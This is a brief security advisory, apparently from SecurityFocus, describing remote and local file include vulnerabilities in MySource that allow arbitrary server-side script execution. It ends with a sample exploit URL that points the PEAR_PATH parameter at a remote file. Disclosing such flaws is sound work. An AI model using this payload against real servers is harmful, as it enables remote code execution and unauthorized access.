source: https://www.securityfocus.com/bid/15133/info
  
MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/pear/Net_Socket/Socket.php?PEAR_PATH=http://www.example.com/[file]?